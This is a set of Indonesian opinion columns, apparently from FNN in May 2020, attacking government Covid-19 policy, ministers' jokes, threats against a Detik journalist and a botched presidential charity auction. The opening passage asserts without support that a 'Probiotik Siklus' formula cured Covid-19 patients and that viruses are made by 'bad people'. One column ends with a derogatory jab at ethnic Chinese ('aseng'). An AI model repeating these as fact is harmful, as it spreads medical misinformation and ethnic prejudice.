Fadilah. Menurut Siti Fadilah, Indonesia sekarang ini dalam menghadapi virus corona, harus mandiri membuat vaksin. Ia menyebut, orang Indonesia bisa membuat vaksin. Ibu Benar, Indonesia punya ahlinya yang berhasil atasi beragam virus ciptaan “orang jahat”. Uji klinis pada pasien-pasien Covid-19 membuktikan, formula Probiotik Siklus telah berhasil menyembuhkan mereka. Penulis Wartawan Senior.

Corona Menjadi Istri Pak Mahfud

By M. Rizal Fadillah Jakarta FNN – Jum’at (29/05). Banyak pernyataan Menkopolhukam Mahfud MD yang aneh-aneh. Mulai dari soal Indonesia tak ada corona. Korban kecelakaan yang lebih banyak daripada korban corona. Mudik dan jamaah tarawih yang bisa dipidana. Tidak cukup hanya itu pernyataan aneh. Menko Mahfud MD juga bicara tentang Masjid yang ditutup. Alasan Mahfud, karena jama'ah masjid banyak korban seperti di Iran, hingga pidato sambutan di UNS soal meme kiriman Luhut yang bercanda membandingkan corona virus sama dengan seorang istri. "corona is like your wife, is easily you try to control it then you realize that you can't, then you learn to live whith it". Begitu bunyi meme yang dikutip Mahfud. Tentu saja netizen banyak yang marah atas joke berlebihan tersebut. Menyamakan corona virus dengan seorang istri yang tidak mudah ditaklukan. Sikap dan perbuatan ini dinilai sebagai penistaan terhadap status seorang istri. Pertama, menghadapi wabah corona yang merupakan "desease" apapun upayanya adalah mengatasi. Baik itu mencegah maupun menyembuhlan. "Wife" tentu saja bukan "desease" yang dianggap bisa bersahabat. Faktanya corona bisa membunuh. Kedua, keliru berat jika niat untuk menikah adalah dalam rangka menaklukan istri. Sehingga konsep bangunan awal adalah peperangan untuk mengalahkan. Saat tak mampu menaklukan, maka jadinya berdamai "learn to live with it". Itu keterpaksaan. Ketiga, terlalu jauh membanding-bandingkan pernikahan dengan penyakit. Itu terlalu mengada-ada. Terkesan kehabisan bahan untuk bicara ke masyarakat. Masa sepanjang hidup harus sesak nafas, dan panas badan tinggi. Suami-istri itu seharusnya bersimbiose mutualistic. Bermakna dan berdaya guna. Sedangkan wabah corona justru bersimbiosis parasitis. Merusak tubuh. Joke Menteri "intelek" seperti Mahfud dan Luhut menjadi gambaran, betapa tidak seriusnya mereka sebagai petinggi negara mengatasi wabah corona. Nyawa yang telah menjadi korban, baik masyarakat maupun tenaga medis ternyata dimain-mainkan sebagai joke oleh menteri. Seolah-olah kematian mereka itu sesuatu yang tidak berharga. Apalagi meme lucu-lucuan tersebut dijadikan dasar untuk mengambil kebijakan "new normal". Yang mau dimodelkan untuk berdamai dengan "desease". Di tengah grafik pandemi virus corona yang belum begitu menggembirakan. Kepentingan rakyat menjadi yang dinomorduakan. Sementara kepentingan para pengusaha yang didahulukan. New normal jadinya adalah new marital menuju new mortal. Herd immunity yang berisiko tinggi. Kebijakan pola penjudi dan coba coba. Masyarakat yang dijadikan sebagai "kelinci percobaan" untuk menciptakan klaster-klaster baru penularan. Rakyat semestinya menyatakan "terserah" saja jika Pak Mahfud dan Pak Luhut mau memperistri virus corona. Kita hanya bisa mengucapkan "selamat menempuh hidup baru". Semoga bahagia selalu. New abnormal life. Kita mah semua tidak mau punya istri atau berumah tangga dengan virus corona. Secantik apapun corona itu. Penulis adalah Pemerhati Politik dan Kebangsaan.

Gara-gara Berita, Wartawan Detik Diancam Dibunuh. Ada Pihak yang Tersinggung?

Oleh: Tjahja Gunawan Jakarta, FNN - Apapun alasannya mengancam membunuh orang lain adalah tindak kejahatan melawan hukum. Lalu mengapa wartawan Detik yang menulis kunjungan Jokowi ke Summarecon Mall Bekasi diancam mau dibunuh? Apa salahnya wartawan detik ini? Tapi siapa sih sebenarnya yang mengancam membunuh itu? Apakah dia (oknum) pendukung Pak Jokowi atau ada pihak lain yang memang sengaja ingin membuat suasana keruh? Atau itu cuma trik pihak-pihak tertentu saja, untuk mengalihkan perhatian publik dari persoalan besar bangsa ini. Lagian sewot amat sih, sampai mengancam mau membunuh wartawan? Apakah ada pihak-pihak yang dirugikan dengan pemberitaan Detikcom? Memang agak susah untuk membuktikan siapa orang yang mengancam akan membunuh, kecuali kalau kepolisian mau melakukan penyelidikan dan penyidikan secara serius dan profesional. Tapi mari kita uraikan dulu duduk perkara dan kronologi masalah ini. Pada awalnya, Detikcom menurunkan berita pada hari Selasa 26 Mei jam 9.10, dengan judul: "Jokowi Pimpin Pembukaan Sejumlah Mal di Bekasi Siang Ini di Tengah Pandemi". Kemudian di hari dan jam yang sama, Detikcom menurunkan berita dengan judul: "Pemkot: Jokowi Siang Ini ke Bekasi Dalam Rangka Pembukaan Mal". Isi berita ini persis sama dengan judul berita sebelumnya. Berita tersebut berasal dari informasi yang disampaikan Kepala Sub Bagian Publikasi Eksternal Humas Setda Kota Bekasi. Namun setelah berita tersebut menyebar dan viral, tidak berapa lama kemudian pernyataan Kasubbag Humas tersebut diluruskan oleh atasannya yakni Kepala Bagian Humas Pemkot Bekasi. Detikcom pun menurunkan berita klarifikasinya dengan judul: "Pemkot Bekasi Luruskan soal Kunjungan Jokowi Cek Persiapan New Normal". Berita ini dipublikasikan hari Selasa itu juga pada jam 10.42 WIB. Jokowi berencana mengecek persiapan new normal di Bekasi. "Meninjau Kota Bekasi dalam rangka persiapan penerapan prosedur new normal setelah PSBB, di sarana publik," ujar Kabag Humas Pemkot Bekasi Sayekti Rubiah, ketika dihubungi detikcom, Selasa (26/5/2020). Sayekti menyanggah kunjungan Jokowi terkait pembukaan mal-mal di Bekasi. Mal di Bekasi akan dibuka usai hasil evaluasi PSBB. "Kemungkinan, mal itu bisa dibuka hasil dari pemantau evaluasi dari PSBB tersebut," imbuhnya sebagaimana diberitakan Detik. Bukan berita hoax Sepanjang yang saya telusuri di google, sampai hari Kamis (28/5), ketiga judul berita Detikcom diatas tidak berubah.Artinya, kesemua isi berita tersebut secara jurnalistik dapat dipertanggungjawabkan alias bukan berita hoax. Kalau sebuah berita dibantah atau diklarifikasi oleh nara sumber dalam hal ini Pemkot Bekasi, bukan berarti berita sebelumnya salah. Berdasarkan penelusuran saya via internet, penulis berita soal kunjungan Jokowi adalah Tim Detik. Sebelumnya nama wartawan yang menulis berita tersebut kemungkinan dicantumkan. Tapi setelah ada ancaman pembunuhan, nama.penulis beritanya diganti dengan Tim Detik. Sebab menurut keterangan pers Aliansi Jurnalis Independen (AJI) Jakarta, nama penulis yang tercantum di dalam berita Detik menyebar di internet, dari Facebook hingga Youtube. Nah dari medsos itulah, kekerasan terhadap penulis berita tersebut dimulai. Salah satu akun yang menyebarkan adalah Salman Faris. Dia mengunggah beberapa screenshot jejak digital penulis untuk mencari-cari kesalahannya, meskipun isinya tak terkait berita yang dipersoalkan. "Selain itu, Situs Seword juga melakukan hal serupa dan menyebarkan opini yang menyerang penulis dan media.Cara ini dikenal sebagai doxing, yaitu upaya mencari dan menyebarluaskan informasi pribadi seseorang di internet untuk tujuan menyerang dan melemahkan seseorang atau persekusi online. Doxing adalah salah satu ancaman dalam kebebasan pers," kata Asnil Bambani, Ketua AJI Jakarta, dalam siaran persnya, Rabu (28/5). Selain doxing, kata Asnil Bambang, jurnalis itu juga mengalami intimidasi lantaran diserbu pengemudi ojol yang membawa makanan kepadanya. Padahal, kenyataannya tak memesan makanan melalui aplikasi. Bahkan jurnalis tersebut juga diduga menerima ancaman pembunuhan dari orang tak dikenal melalui pesan WhatsApp. AJI Jakarta menilai di tengah upaya Jokowi menggencarkan persiapan New Normal, pemberitaan yang tak sepaham dengan narasi pemerintah tampaknya menjadi sasaran penyerangan. Hal ini jelas mencederai kemerdekaan pers dan bertentangan dengan amanat Undang-undang Nomor 40 Tahun 1999 Tentang Pers. Pasal 4 ayat 1-3 menjelaskan, salah satu peranan pers adalah melakukan pengawasan, kritik, koreksi, dan saran terhadap hal-hal yang berkaitan dengan kepentingan umum. Yang menghambat atau menghalangi maupun penyensoran dapat dipidana dengan pidana penjara paling lama 2 tahun atau denda paling banyak Rp 500 juta. AJI Jakarta mengingatkan para pihak yang bersengketa terkait pemberitaan di media agar menyerahkan kasusnya kepada Dewan Pers untuk menilai dan mengupayakan penyelesaiannya. Melapor polisi Terkait ancaman pembunuhan ini, pihak Detikcom sudah melaporkan kasus ini ke Mabes Polri. Vivanews memberitakan bahwa pihak Detikcom telah meminta pengamanan dari Polri terhadap jurnalisnya itu. AJI Jakarta juga meminta agar kepolisian mengusut hingga tuntas ancaman pembunuhan terhadap wartawan Detik serta meminta agar Dewan Pers turun tangan. Sementara di Medsos juga beredar Meme yang diberi judul: "Detik Gini Amat". Meme tersebut selain berisi foto Jokowi juga terdapat screenshot tiga judul berita Detikcom seperti yang dibahas di atas. Lalu Meme itu dengan kalimat tambahan yang berbunyi: "Bikin Hoax Dulu, Pelintir Dulu. Ralat Kemudian. Lalu Apa Tanggungjawab Media Terhadap Hoax yang Terlanjur Tersebar?" Meme yang beredar di Medsos tersebut adalah suara netizen yang seolah-olah merasa paling benar. Dengan menuduh berita Detikcom itu sebagai hoax. Seperti layaknya sebuah Meme, narasi kalimat yang tertuang didalamnya pun bersifat provokatif. Misalnya kalimat provikatifnya seperti ini: "Detikcom sengaja merusak apa saja yang dikerjakan Pak Jokowi. Waspadalah !!!! Detikcom sudah berpolitik untuk mencapai sebuah tujuan. Jangan biarkan Pak Jokowi sendirian hadapi media-media jahat. Media penghasut harus dilawan". Seperti biasanya kalimat provokatif seperti itu tanpa didukung data dan fakta yang valid. Meski demikian, ujaran tersebut tetap beredar di Medsos. Padahal, sebenarnya kelompok yang merasa dirugikan oleh pemberitaan Detikcom tersebut, bisa mengajukan hak jawab atau mengadukan ke Dewan Pers. Loh kok tidak bisa langsung mengadukan ke polisi? Lah kan ini termasuk sengketa pers sehingga jalurnya berdasarkan UU Pers, harus melalui Dewan Pers. Netizen yang cerdas dan memiliki kekuatan dalam literasi, seharusnya berpikir ulang sebelum menyebarkan Meme provokatif tersebut. Alangkah baiknya para Netizen yang menjari pendukung Jokowi, memahami dulu tentang mekanisme kerja wartawan dan kaidah jurnalistik. Nah, kalau sudah melek baru membuat Meme yang cerdas dan mencerahkan masyarakat di dunia Maya. Terlepas dari itu semua, meskipun liputan Detikcom soal Kunjungan Jokowi ke Summarecon Mall Bekasi hari Selasa lalu, tidak ada yang menyalahi kaidah jurnalistik. Namun, menurut saya, liputan Detikcom soal kegiatan Presiden tersebut kurang komprehensif. Sebagai sebuah portal berita, seharusnya Detikcom bisa menyajikan berita dari berbagai sisi (cover all side). Ketika terjadi silang pendapat dan informasi antara apakah Presiden hendak melakukan persiapan New Normal atau pembukaan mall di Bekasi, Detikcom seharusnya bisa menyajikan informasi resmi dari nara sumber di Biro Pers Istana Kepresidenan atau pejabat di Kepala Staf Kepresidenan (KSP). Selain itu Detikcom bisa juga menggali informasi dari pihak manajemen Summarecon Mall Bekasi. Pertanyaannya mendasar saja: Apakah kegiatan yang akan dilakukan Presiden di mal ini? Justru bagian ini yang dilakukan oleh portal berita Tempo, yang sengaja mewawancarai pengelola mal sebelum kedatangan Presiden Jokowi ke Bekasi. Sepanjang pengalaman saya menjadi wartawan, mutu suatu berita kerap ditentukan oleh nara sumbernya. Katakanlah misalnya isi suatu berita benar, tapi apakah nara sumber yang diwawancarai itu cukup representatif/otoritatif atau tidak. Kadang orang yang berbicara atau narsum yang menyampaikan informasi kepada publik, ikut menentukan tingkat kepercayaan publik terhadap media tersebut. Di dunia birokrasi termasuk di lingkungan Pemda, informasi kepada wartawan biasanya disampaikan langsung oleh kepala daerah atau diwakili melalui Humas. Nah, dalam kasus berita Detikcom, informasi awal yang dijadikan sebagai nara sumber adalah Kepala Sub Bagian Publikasi Eksternal Humas Pemkot Bekasi. Menurut saya, kapasitas nara sumber ini kurang kuat. Katakanlah, Kasubbag Humas ini mempunyai kewenangan untuk berbicara dan menyampaikan informasi kepada media, wartawan Detikcom seharusnya bisa melengkapi sekaligus cross check kepada atasannya yakni Kepala Bagian Humas. Dulu, ketika saya bertugas di lapangan meliput kegiatan Pemda, biasanya yang memiliki kewengan berbicara kepada wartawan adalah Kepala Bagian Humas. Sedangkan staf bagian humas di Pemda, biasanya membantu menyediakan data-data kuantitatif yang dibutuhkan wartawan. Ooh ya hampir lupa. Jadi siapa sebenarnya orang yang mengancam akan membunuh wartawan Detik? Saya cari-cari di google, kok engga ada ya. Saya mau nanya ke Pejaten, tapi tidak punya jalurnya kesana. Wallahu a'lam bhisawab. Penulis Wartawan Senior.

Diktator Itu Pemeras Rakyat

By Furqan Jurdi Jakarta FNN – Kamis (28/05). Bentuk wajah yang merakyat, dan penampilan yang sederhana tidak menjamin seseorang itu menjadi baik. Betapa banyak orang yang tertipu dengan penampilan? Kita di Indonesia, kebanyakan mau untuk ditipu dari bentuk luar saja. Kata Plato, para diktator itu tidak muncul dengan muka yang bengis. Diktator juga tidak dengan wajah yang menyeramkan. Untuk pertama kali diktator itu, berpura-pura bertindak sebagai pelindung. Selalu tersenyum kepada siapapun yang dijumpainya. Bitulah cara diktator menipu pendukungnya. Untuk Indonesia, dapat kita lihat, ada yang masuk gorong-gorong untuk mencari simpati. Berpura-pura sederhana untuk memunculkan rasa kasihan, supaya penipuan tersebut bisa berjalan dengan sempurna. Digunakanlah media dan buzzer untuk menyampaikan kepura-puraan itu kepada masyarakat. Prilaku yang seperti ini sudah kita alami bersama. Tahap selanjutnya, sang diktator itu membuat rakyatnya melarat dengan menarik pajak sana-sini. Iuran BPJS yang tadinya telah diputus oleh pengadilan untuk tidak dinaikkan, justru dinaikkan lagi. Dia mulai melakukan pembangkangan terhadap hokum. Merasa paling berkuasa, sehingga bertindak otoriter. Diktator lalu memaksa rakyat mengabdi kepada kemauan dirinya setiap hari. Kalau ada rakyat yang membangkang, dianggap sebagai pelaku makar. Dituduh melakukan ujaran kebencian, dan dipenjara menanti. Rakyat dibuat takut bila punya keinginan untuk mengkritiknya. Munculnya, suara-suara kritis dianggap sebagai musuh. Tidak jarang suara-suara kritis itu berujung pada proses hukum. Bahkan berakhir di penjara. Lihat saja Said Didu yang terus terang mengatakan sikap culas seorang menteri, malah dilaporkan ke polisi. Proteksi terhadap kritik diperhebat dengan kerja penegak hukum yang bebal. Tidak ada kebebasan. Demokrasi terancam di ujung tanduk. Kekuasaan bertindak semaunya, dan menetapkan kebijakan yang mencekik rakyatnya. Padahal rakyat lagi getir menghadapi situasi sulit. Antara pandemi virus Covid 19 dan krisis ekonomi, rakyat hanya bisa diam membisu. Kalau sampai rakyat berbicara, maka orang-orang bebal akan segera memanggil atau menjemputnya atas nama hukum. Seperti inilah wajah dan keadaan kita sekarang. Otoritarianisme kini jelas Nampak. Kezaliman berdiri menghantam kehidupan rakyat. Ada Perppu Corona yang sudah hah menjadi UU Nomor 2 Tahun 2020 tentang Corona, setelah disepakati oleh lembaga perwakilan rakyat. Katanya mereka adalah representasi rakyat, tetapi mereka justru menghantam rakyat. Bebal juga mereka anggota DPR itu. UU No. 2 Tahun 2020 tentang Corona itu sudah menetapkan kekebalan hukum bagi mafia-mafia yang ingin melipat-gandakan perampokan uang rakyat. Menggunakan kekuasaan dan sumber daya negara untuk kepentingan mereka sendiri. Para pemain-pemain tender telah selamat dari ancaman hukuman, baik Pidana, Perdata maupun Tata Usaha Negara. Pengawasan sudah tidak berlaku lagi. Fungsi legislasi Lembaga Perwakilan Rakyat sudah tidak ada lagi. Penguasa bisa menetapkan sepihak defisit anggaran negara seenaknya. Dan menetapkan penggunaan dana APBN juga semaunya saja. Celakanya lagi, Lembaga Perwakilan Rakyat gotong-royong mengamini semua itu. Bahkan mengamini dirinya untuk tidak lagi berfungsi. Wartawan senior Hersubeno Arief menyebutnya dengan “Bunuh Diri Massal Anggota DPR RI” (FNN.co.id 14/05). Lalu untuk apa ada lembaga perwakilan lagi? Hanya menghabiskan uang rakyat? Bukankah ia disebut lembaga perwakilan rakya karena memiliki fungsi legislasi, fungsi anggaran dan fungsi pengawasan. Sementara fungsi itu sudah tidak berlaku lagi dalam UU No. 2 Tahun 2020 tentang Corona. Ironisnya lagi, beberapa pasal dalam dua belas undang-undang lainya ditiadakan. Hanya untuk memuluskan rencana penguasa menggunakan anggaran itu semaunya. Tanpa perlu pengawasan. Lembaga Perwakilan Rakyat menerima itu dengan lapang dada. Tragis. Badan Pemeriksa Keuangan (BPK) yang tadinya memiliki kewenangan untuk melakukan audit terhadap penggunaan anggaran berdasarkan UUD 1945, ditiadakan oleh UU No. 2 Tahun 2020 tentang Corona . Akhirnya kekuasaan hanya ada pada satu tangan. Kedudukan undang-undang tampaknya lebih tinggi dari konstitusi negara UUD 1945. Kekuasaan pengadilan sebagai satu cabang kekuasaan yang mandiri, bebas dari pengaruh kekuasaan apapun tidak berfungsi dengan UU No. 2 Tahun 2020 tentang Corona ini. Bayangkan setiap kebijakan dan berbagai tindakan yang diambil oleh pemerintah, meskipun itu melanggar hukum, seperti korupsi, penyuapan dan tindak pidana berat lainnya, pengadilan tidak berhak untuk mengadilinya. Luar biasa. Sungguh ironis. Perlu diingat, dalam kekuasaan yang bermental otoriter, korupsi, kolusi, dan nepotisme biasanya terjadi secara masif. Demokrasi tidak selalu menjamin kebebasan dan keterbukaan. Kalau lembaga perwakilan sudah tidak berfungsi sebagai pengontrol dan pengawas, penegak hukum sudah menghamba pada kekuasaan. sekarang sudah kita rasakan seperti apa itu DPR, dan penegak hukum. Sederet ketidakadilan terjadi sedemikian rupa. Telanjang di depan mata. Namun kita tidak lagi lagi punya tempat untuk menyampaikan itu secara institusional. Kita hanya berjuang atas nama rakyat, dan berangkat bersama kekuatan rakyat. Lembaga negara sudah tidak bisa diharapkan lagi. Skandal Demi Skandal Ketika otoritarianisme tiba, semua kasus akan bermunculan. Kita belum selesai dengan skandal-skandal besar, justru yang keluar UU Nomor 2 Tahun 2020 untuk memuluskan jalan para mafia anggaran dan uang negara. Sungguh mencengangkan kita semua. Padahal awal tahun 2020 muncul kasus korupsi besar. Ada kasus Jiwasraya skandal besar yang mengerikan. Kasus gagal bayar PT Asuransi Jiwasraya yang dinilai merupakan skandal terbesar kedua setelah kasus BLBI di rezim sebelumnya. BUMN asuransi jiwa ini mengalami gagal bayar sebesar Rp 13 triliun, dan meminta talangan negara Rp 30 triliun lebih untuk menyehatkan diri. Hebat kan. Kasus PT Asuransi Sosial Angkatan Bersenjata Republik Indonesia (ASABRI) kini dirundung kerugian yang diduga mencapai Rp 10 triliun. Akibat dari pengelolaan investasi berupa saham yang mengalami penurunan nilai. Bahkan Mahfud MD sebagai menteri Kordinator Politik Hukum dan Keamanan menilai, dua PT Asurasi itu mengalami kerugian karena korupsi. Tidak hanya terpaan korupsi, BUMN pun sedang mengalami masalah serius. Tahun 2016 utang BUMN mencapai Rp 2.263 triliun, lalu pada 2017 melonjak menjadi Rp 4.830 triliun. Sementara pada 2018 meningkat tipis menjadi sebesar Rp 5.271 triliun. Meski sudah mendapatkan suntikan modal dari pemerintah melalui Penyertaan Modal Negara (PMN), BUMN tetap saja mengalami kerugian. Setidaknya yang tercatat 7 BUMN yang masih terus merugi sampai sekarang. Kementerian Keuangan mengalokasikan PMN pada sejumlah perusahaan BUMN di antaranya Rp 65,6 triliun di tahun 2015, dan pada 2016 sebesar Rp 51,9 triliun. Pada 2017 turun drastis menjadi hanya Rp 9,2 triliun serta pada 2018 sebesar Rp 3,6 trilun. Sementara pada 2019 PMN oleh Kemenkeu naik lagi menjadi Rp 20,3 triliun. Untuk tahun 2020, uang pajak yang dialokasikan untuk tambahan modal BUMN turun tipis menjadi sebesar Rp 18,73 triliun. (Data Kompas.com) Meski suntikan modal dari APBN dalam beberapa tahun ini terus dilakukan, rupanya tak menjamin kinerja keuangan perusahaan membaik. Tentu ini ada masalah yang paling fundamental dalam masalah keuangan BUMN. Sangat mungkin kerugian yang dialami oleh BUMN karena korupsi. Peras Rakyat Akibat kondisi keuangan negara yang amburadul, korupsi menjamur. Rakyatlah korbannya. Iuran BPJS yang tadinya dibatalkan naik oleh Mahkamah Agung, kini dinaikkan lagi oleh pemerintah. Kenaikan ini berlaku untuk seluruh peserta. Kenaikannya mencapai dua kali lipat. Begitupun dengan harga sejumlah barang dan jasa direncanakan naik di tahun 2020 ini. Kenaikan tarif cukai hasil tembakau (CHT) atau cukai rokok sebesar 23% dan harga jual eceran (HJE) sebesar 35%. Dengan alasan untuk melarang mudik, tarif sejumlah ruas tol naik pada 2020 ini. Bahkan sebelum Corona, sejumlah ruas jalan tol sudah diputuskan untuk dinaikkan. Rakyat dipalak, harga kebutuhan pokok melambung tinggi. Kebutuhan makanan sehari-hari semakin susah. Di tengah rintihan kesusahan, mulai dari krisis ekonomi hingga memuncak di masa pendemi corona, justru negara mengatur rencananya sendiri untuk menghabiskan uang rakyat. Bahwa penguasa tidak lagi melindungi segenap bangsa dan tumpah darah Indonesia. Penguasa hanya mau melindungi kepentingan para mafia ekonomi dan makelar politik. Targetnya menguasai Indonesia, sehingga negara ini masuk dalam perangkap negara asing. Pada akhirnya kedaulatan teritorial, kedaulatan hukum, kedaulatan ekonomi dan kedaulatan politik tidak lagi dimiliki bangsa Indonesia. Semua kedaulatan dikendalikan oleh mafia, aseng dan Asing. Wallahualam bis shawab Penulis adalah Ketua Umum Pemuda Madani.

Siapa yang “Ngeprank” Presiden Jokowi?

Oleh Mochamad Toha Jakarta, FNN - Presiden Joko Widodo berhasil di-prank seorang buruh bernama M. Nuh di Jambi. Lho, koq bisa seorang presiden sampai di-prank rakyatnya sendiri? Niatnya acara konser Berbagi Kasih Bersama Bimbo pada Minggu malam, 17 Mei 2020, itu lelang motor listrik Gesits. Dan, penawar tertinggi dengan nilai Rp 2,55 miliar itu adalah seorang "pengusaha" bernama M. Nuh. Menariknya, label pengusaha itu disematkan oleh pembawa acara artis Wanda Hamidah yang juga seorang politisi. Dan, ternyata Nuh itu seorang buruh harian. Jagad medsos pun ramai ngrumpi lelang motor listrik milik Presiden Joko Widodo yang kena prank seorang buruh harian di Jambi itu. Konser “Berbagi Kasih Bersama Bimbo” itu sendiri diselenggarakan oleh Badan Pembinaan Ideologi Pancasila (BPIP). Dalam akun twiter atas nama Mas Piyu ORI@mas_piyu menulis: Netizen: MOBIL ESEMKA Kalau Dilelang Pasti Laku Rp 11 Triliun, Barang Sangat Langka dan Dicari… Dalam twiter itu disertai foto Jokowi saat menjadi Walikota Solo duduk di atas kap mobil ESEMKA. Akun twiter atas nama Aline Yoana Tan @TanYoa… menuliskannya, Pelajaran Buat Raja Prank: Cemen, Baru Kena Prank 2,55 Milyar Aja Udah Lapor Polisi, Rakyat Kena Prank 11 Ribu Triliun Biasa-Biasa Aja. Taukan Boss Bagaimana Rasanya DiPrank. Beberapa hari terakhir, publik sedang ramai membicarakan soal lelang motor listrik bertanda tangan Presiden Jokowi. Acara lelang motor listrik tersebut diselenggarakan bersama MPR, Minggu (17/5/2020). Ketua MPR Bambang Soesatyo hadir dalam acara itu. Semua bermula dari seorang buruh bangunan bernama M. Nuh yang memenangkan “lelang” tersebut. Setelah memenangkan lelang, Nuh tidak bisa menebus motor listriknya. Walhasil, dia sempat berurusan dengan pihak berwajib. Kini, motor tersebut jatuh ke tangan putra Ketua Umum Partai Perindo Hary Tanoesoedibjo, yakni Warren Tanoesoedibjo. Warren berhasil menjadi pemenang lelang sepeda motor listrik Gesits bertanda tangan Presiden Jokowi dengan penawaran Rp 2,55 miliar. Pada Jumat (22/5/2020), Ketua MPR Bambang Soesatyo bersama pihak penyelenggara yang dihadiri Olivia Zalianty dan Ketua Kadin Rosan Perkasa Roeslani kembali mengumumkan pemenang lelang motor listrik Gesits itu di Graha BNPB, Jakarta. Kepada Presiden Jokowi, Bamsoet meminta maaf atas permasalahan yang terjadi dalam acara lelang motor listrik tersebut. Ia mengatakan, dirinyalah yang patut disalahkan terkait masalah tersebut. “Saya atas nama seluruh panitia menyampaikan permohonan maaf sebesar-besarnya kepada Pak Presiden, kepada Setneg, kalau ada pihak yang harus disalahkan saya orangnya,” ujarnya seperti dilansir Tribunnews.com, Sabtu (23 Mei 2020 11:19) “Saya Bambang Soesatyo yang patut disalahkan. Bukan yang lain, karena saya penanggung jawab acara ini,” tegas. Ia merasa tidak enak hati kepada Presiden Jokowi yang tidak ikut campur apa pun dalam acara itu dan hanya ingin membantu masyarakat di tengah pandemi. “Pada kesempatan ini, saya ingin menyampaikan jujur saja saya sampai tidak enak hati ke Pak Presiden, dengan Setneg, karena sebenarnya beliau tidak tahu apa-apa, beliau hanya ingin membantu gagasan para seniman dan para pekerja seni,” ujarnya. Bamsoet mengatakan, pihak penyelenggara penggalangan dana tidak merasa dirugikan atas tindakan yang dilakukan M. Nuh. “Kami kena prank seorang buruh di Jambi yang mengaku pengusaha tambang bernama M. Nuh yang kemudian diamankan Polda Jambi,” ujarnya. Ia juga menyoroti isu miring yang diterpa acara konser secara virtual bertajuk “Berbagi Kasih Bersama Bimbo” tersebut. Menurut Bamsoet, ada seorang wanita di Kalimantan Tengah yang menyebarkan hoaks tentang acara penggalangan dana itu dan sudah diperiksa kepolisian. “Ada penyebar hoaks Konser Virtual Berbagi Kasih Bersama Bimbo oleh emak-emak yang ditangkap Polda Kalteng dengan tujuan menghasut,” tuturnya. Ia meminta kepolisian tidak menahan perempuan tersebut maupun M Nuh yang gagal menebus harga lelang motor listrik. Kapolda Jambi Irjen Firman Santyabudi sebelumnya mengatakan, M. Nuh tidak mengetahui acara yang diikuti merupakan acara lelang. “Yang bersangkutan tidak paham acara yang diikuti adalah lelang,” katanya. “Yang bersangkutan malah mengira bakal dapat hadiah,” kata Irjen Firman melalui pesan singkatnya, Kamis (21/5/2020). Firman juga membantah, kepolisian menangkap M. Nuh. Buruh bangunan itu, kata dia, justru diberikan perlindungan pihak kepolisian. “Karena ketakutan ditagih, dia justru minta perlindungan,” ungkap Irjen Firman. Yang menarik, mengapa sejak acara konser digelar hingga pelaksanaan lelang susulan pada hari Jumat lalu itu, Bamsoet terlihat orang yang paling sibuk. Padahal, pelaksana kegiatan konser ini adalah BPIP, lembaga yang berada langsung di bawah Presiden. Lalu dalam acara tersebut Bamsoet kapasitasnya sebagai apa? Sebagai Ketua MPR-RI? Atau sebagai pengusaha karena dalam acara konser itu Bamsoet juga menggandeng Ketua Umum Kadin Indonesia Rosan Roeslani. Justru unsur pimpinan MPR-RI periode 2019-2024, tidak ada satu pun yang turut hadir dalam acara tersebut. Kecuali diantaranya hadir secara virtual. Apalagi, saat acara press conference sekaligus klarifikasinya, Bamsoet menyebut dirinya sebagai penanggungjawabnya. Tjahja Gunawan, wartawan senior, dalam tulisannya menyatakan, jika menyimak narasi dan diksi yang disampaikan Bamsoet ketika mengawali pernyataan klarifikasnya pada wartawan, jelas dia bukan dalam kapasitas sebagai Ketua MPR-RI. Sebab dalam praktek ketatanegaraan, posisi Ketua MPR-RI sesungguhnya lebih tinggi dari Presiden. Sehingga, dalam berbagai acara kenegaraan, Ketua MPR-RI lazimnya menyebut dengan kata “saudara” kepada Presiden.Kalau bukan sebagai Ketua MPR, masyarakat bisa saja menduga Bamsoet sedang menjadi Event Organizer (EO) atau penyelenggara kegiatan konser yang diadakan oleh BPIP. Tapi, masyarakat pun bisa bertanya lagi: Pantaskah seorang Bamsoet yang nota bene sebagai Ketua MPR merangkap sebagai EO? Bagaimanapun jabatan dan pangkat itu tetap melekat pada diri seseorang. Nama Bamsoet tidak bisa dilepaskan dari jabatannya sebagai Ketua MPR-RI. Kok bisa sih dia menjadi EO? Bukankah Bamsoet sudah tajir melintir, di mana berdasarkan Laporan Hasil Kekayaan Pejabat Negara (LHKPN) tahun 2018, harta kekayaan Ketua MPR-RI dari Fraksi Golkar ini sebesar Rp 98.019.420.429 (Rp 98 miliar lebih). Sebagian besar harta kekayaan Bamsoet berupa tanah dan bangunan yang bernilai Rp 71.217.095.000. Sementara itu, untuk harta berupa alat transportasi dan mesin berjumlah Rp 18.560.000.000. Tercatat, ada 13 kendaraan yang ia miliki, seperti motor Harley Davidson, mobil Rollsroyce Phantom Sedan, dan lain-lain. Jadi, kalau Bamsoet mau membantu masyarakat yang terdampak atau menjadi korban wabah Covid-19, maka dia pribadi sebenarnya bisa memberikan sumbangan langsung kepada pihak-pihak yang membutuhkan bantuan. Menurut Tjahja Gunawan, cara lainnya, bisa saja Bamsoet menggelar lelang sendiri dengan misalnya, melelang sebagian kendaraan mewahnya untuk disumbangkan bagi kepentingan penanganan wabah Covid-19. Atau katakanlah dalam acara konser BPIP itu dia ingin berpartisipasi lebih, maka Bamsoet bisa saja ikut menawar motor listrik yang dilelang itu. Ini kok seperti sengaja dibuat drama yang akhirnya berujung pada tragedi. Karena kemudian menjadi bahan cemoohan masyarakat setelah lelang motor listrik tersebut berhasil di-prank oleh M. Nuh, seorang buruh yang tinggal di Jambi. Celakanya, Bamsoet menuding komentar dari para netizen sebagai gorengan. Padahal, yang terjadi justru acara konser tersebut seperti sebuah dagelan politik yang tidak lucu. Tragedi konser BPIP justru menunjukkan kepada dunia, para pemimpin di Indonesia ini tidak kompak dalam menghadapi pandemi Covid-19 ini. Kebijakan yang telah dibuat dalam menghadapi pencegahan penyebaran Covid-19 kemudian diubah sendiri oleh pemerintah. Belum lagi koordinasi antara pemerintah pusat dan daerah yang sangat buruk. Manajemen pemerintah yang menyedihkan ini kemudian ditambah dengan persoalan “Konser Prank” BPIP yang amburadul. Keadaan ini semakin menambah ketidakpercayaan masyarakat kepada pemerintah dan para pemimpin di negeri ini. Dalam Konser BPIP tersebut bukan hanya telah terjadi acara lelang kaleng-kaleng alias tipu-tipu, tapi dalam acara itu juga telah memberikan contoh buruk kepada masyarakat di tengah wabah Covid-19. Pada akhir acara konser itu, Bamsoet bersama para seniman dan artis yang hadir foto bersama di atas panggung tanpa mengindahkan aturan soal Physical Distancing. Penulis Wartawan Senior.

Malapetaka The New Normal Tata Negara

